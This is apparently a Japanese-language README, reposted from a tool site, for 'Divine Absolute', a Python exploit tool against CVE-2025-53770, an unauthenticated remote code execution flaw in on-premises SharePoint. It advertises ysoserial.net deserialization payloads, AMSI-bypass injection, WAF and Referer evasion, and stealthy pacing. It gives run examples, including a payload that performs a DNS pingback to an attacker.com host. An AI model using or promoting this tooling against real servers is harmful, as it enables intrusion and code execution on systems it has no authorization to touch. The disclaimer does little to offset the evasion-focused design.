Divine Absolute - CVE-2025-53770 エクスプロイトツール

概要

Divine Absolute は、CVE-2025-53770 を標的とした、ウィザード駆動の高度なPythonエクスプロイトツールです。これは、オンプレミスのMicrosoft SharePoint Server（2016、2019、Subscription Edition）における、認証不要のリモートコード実行（RCE）の脆弱性（CVSS 9.8、クリティカル）です。この脆弱性は2025年7月19日にゼロデイとして公開され、/_layouts/15/ToolPane.aspx における信頼できないデータのデシリアライズに起因します。本ツールは、倫理的なペネトレーションテストおよび認可されたセキュリティ研究専用に設計されており、偵察、エクスプロイト、検証において比類のない精度、ステルス性、適応性を提供します。

リポジトリ: https://github.com/exfil0/CVE-2025-53770

⚠️ 法的注意: このツールは、管理された環境において明示的な許可を得た上での合法的かつ認可された使用のみを目的としています。あなたが所有していない、またはテストする許可を得ていないシステムに対する不正使用は違法であり、深刻な法的結果を招く可能性があります。作者は誤用に対する一切の責任を負いません。

機能

• モード:
  • Recon（偵察）: SharePointの存在、バージョン、および ToolPane.aspx のアクセス可否を高度なスコアリングと正規表現（例: 16.0.0.\d+-\w+?）で検出します。
  • Exploit（エクスプロイト）: 堅牢なバイパスを備えた ToolPane.aspx 経由でペイロードを配信します。
  • Full（フル）: 偵察とエクスプロイトを組み合わせ、オプションでアグレッシブなエクスプロイトを行います。
• ペイロード生成:
  • ysoserial.net を統合し、.NETデシリアライズペイロード（例: ObjectDataProvider、LosFormatter）を生成します。
  • オプションの pythonnet を使用して、フォールバック用のHTTP/DNSピンバックペイロード（例: WebRequest.Create、Dns.GetHostEntry）を生成します。
  • GZIP圧縮をサポートし、明示的なエンコード/デコードとbase64検証を行います。
  • AMSIバイパス（基本リフレクション、難読化、またはカスタムスニペット）をPowerShellコマンドに注入します。これには base64エンコードされた（-enc）ペイロードも含まれます。
• バイパス:
  • URI難読化: ランダムまたは固定のサフィックス（例: /xp.aspx、UUIDベース）。
  • Referer偽装: なし、外部ドメイン（例: www.google.com）、カスタムURL、または内部SharePointパス（例: /_layouts/15/sharepoint.aspx）。
• ステルス性:
  • 適応型レート制限。最低RPSフロア（0.01）とバースト制御を備えています。
  • ロックで保護されたペーシングとジッター（0～0.1秒）によるスレッドセーフな並行処理。
• 検証:
  • コンパイルされたOR正規表現、RequestException 発生時のリトライ、カスタマイズ可能なステータスコード/パスを用いた堅牢なRCE確認。
• 偵察:
  • ヘッダー（例: MicrosoftSharePointTeamServices）、パス（例: /versions.aspx）、正規表現による拡張SharePoint検出。
• 出力:
  • フォレンジックログ付きのJSON結果。
• 使いやすさ:
  • 対話型ウィザードで簡単設定。
  • 非WindowsシステムではMono/Wineを使用してysoserial.netをサポート。
  • プロキシサポート（HTTP/SOCKS5）とカスタマイズ可能なタイムアウト。

CVE-2025-53770 のコンテキスト

• 脆弱性: /_layouts/15/ToolPane.aspx におけるデシリアライズによる認証不要のRCE。
• 影響を受けるバージョン: SharePoint Server 2016、2019、Subscription Edition（EOL版の2010/2013も影響を受ける）。
• 影響を受けないバージョン: SharePoint Online（M365）。
• 悪用状況: 2025年7月18日以降、国家支援攻撃者（例: Linen Typhoon）による"ToolShell"などのキャンペーンで悪用。
• パッチ: Microsoftパッチ（例: KB5002768、KB5002754）が2025年7月19日にリリースされ、完全に緩和されています。CISA KEVリストにより、連邦政府機関は2025年7月21日までにパッチ適用が義務付けられています。
• 緩和策: パッチ適用、パッチ適用後のキーのローテーション、AMSI/Defender（フルモード）の有効化、/ToolPane.aspx へのPOSTの監視、WAFルール（例: Cloudflare）の使用。

インストール

前提条件

• Python 3.8+
• 依存関係:
  root@kitploit:~

  pip install requests termcolor
  

• オプション（.NETシリアライゼーションのフォールバック用）:
  root@kitploit:~

  pip install pythonnet
  

• ysoserial.net:
  • ysoserial.net リリース からダウンロード。
  • ysoserial.exe を既知のパス（例: ./ysoserial.exe）に配置。
• Mono/Wine（非Windowsシステム）:
  root@kitploit:~

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS（Homebrew経由）
  brew install mono
  

• Dockerラボ（テスト推奨）:
  root@kitploit:~

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

セットアップ

1. リポジトリをクローン:
   root@kitploit:~

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Python依存関係をインストール:
   root@kitploit:~

   pip install -r requirements.txt
   

3. ysoserial.exe がアクセス可能であることを確認するか、実行時にパスを指定。
4. （オプション）非WindowsシステムでMono/Wineを確認。

使い方

対話型ウィザードを実行:

python divine_absolute.py

ワークフロー

1. モード選択:
   • Recon: SharePointの存在とバージョンをスキャン。
   • Exploit: ペイロードを ToolPane.aspx に送信。
   • Full: 偵察 + エクスプロイト（オプションでアグレッシブモード）。
2. ターゲット入力:
   • 単一URL（例: https://sharepoint.example.com）。
   • URLリストのファイル（1行に1URL）。
3. ペイロード設定:
   • ysoserial.net: パス、ガジェット（例: ObjectDataProvider）、コマンド（例: cmd /c whoami）を指定。
   • File: ファイルからbase64 GZIPペイロードを読み込み。
   • String: 直接base64 GZIPペイロードを入力。
   • Pingback: HTTP/DNSピンバックを生成（例: http://attacker.com/callback または sub.attacker.com）。
   • AMSIバイパス: NONE、BASIC_REFLECTION、、またはカスタムスニペットから選択。

コマンド例

• 偵察:
  root@kitploit:~

  python divine_absolute.py
  # 選択: Mode=Recon, Target=https://sharepoint.example.com
  

• ysoserial.net を使用したエクスプロイト:
  root@kitploit:~

  python divine_absolute.py
  # 選択: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• 検証付きフルモード:
  root@kitploit:~

  python divine_absolute.py
  # 選択: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• DNSピンバック:
  root@kitploit:~

  python divine_absolute.py
  # 選択: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

出力

結果は xanthorox_results.json に保存され、以下のフィールドが含まれます:

• target: テストしたURL。
• sharepoint_detected: ブール値。
• toolpane_accessible: ブール値。
• exploited: ブール値（ペイロード送信済み）。
• verified_rce: ブール値/None（RCE確認済み）。
• error: 発生したエラー。

例:

[
  {
    "target": "https://sharepoint.example.com",
    "sharepoint_detected": true,
    "toolpane_accessible": true,
    "exploited": true,
    "verified_rce": true,
    "error": null
  }
]

改善点

このバージョンでは以下を修正:

• 適応型レート制限: 成功/エラーカウントにおいて、リトライ対象外のエラー（例: 404）を無視。最低RPSフロア（0.01）を適用。
• AMSI注入: base64エンコードされたPowerShell（-enc）コマンドにバイパスをデコードして注入。非PowerShell（例: cmd.exe）には警告を表示。
• ピンバックフォールバック: pythonnet を使用して Dns.GetHostEntry による信頼性の高いDNSピンバックを実現（実験的、完全な効果を得るにはガジェットが必要）。

テスト推奨事項

• ラボ環境: パッチ未適用のSharePoint Server 2019 Dockerコンテナを使用して安全にテスト。
• WAFテスト: 適応型RPSを使用してCloudflareや類似のWAFに対するバイパスを検証。
• ペイロードテスト: ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 でペイロードを生成し、DNSログを確認。

既知の制限事項

• ピンバックの信頼性: pythonnet の Dns.GetHostEntry は、特定のガジェットチェーンがないとトリガーされない可能性があります。
• 複雑なコマンド: 標準的でないPowerShellコマンドでは、手動でのAMSIバイパス注入が必要になる場合があります。
• WAF検出: バイパスがあっても一部のWAFがペイロードをブロックする可能性があるため、十分にテストしてください。

コントリビューション

コントリビューションを歓迎します！以下の手順に従ってください:

1. リポジトリをフォーク。
2. フィーチャーブランチを作成（git checkout -b feature/awesome-improvement）。
3. 変更をコミット（git commit -m "Add awesome improvement"）。
4. ブランチにプッシュ（git push origin feature/awesome-improvement）。
5. プルリクエストを開く。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細は LICENSE を参照してください。

謝辞

• xAI: 最先端のセキュリティ研究にインスピレーションを与えてくれたことに感謝。
• ysoserial.net チーム: .NETデシリアライズペイロードジェネレーターに対して。
• セキュリティコミュニティ: CVE-2025-53770のエクスプロイトと緩和策に関する知見に対して。

連絡先

• 作者: @exfil0
• Issues: GitHub Issues
• Telegram: https://t.me/GOTOCVE

注意: 使用前に、必ず管理されたラボ環境でペイロードと設定を検証してください。倫理的かつ合法的に行動しましょう。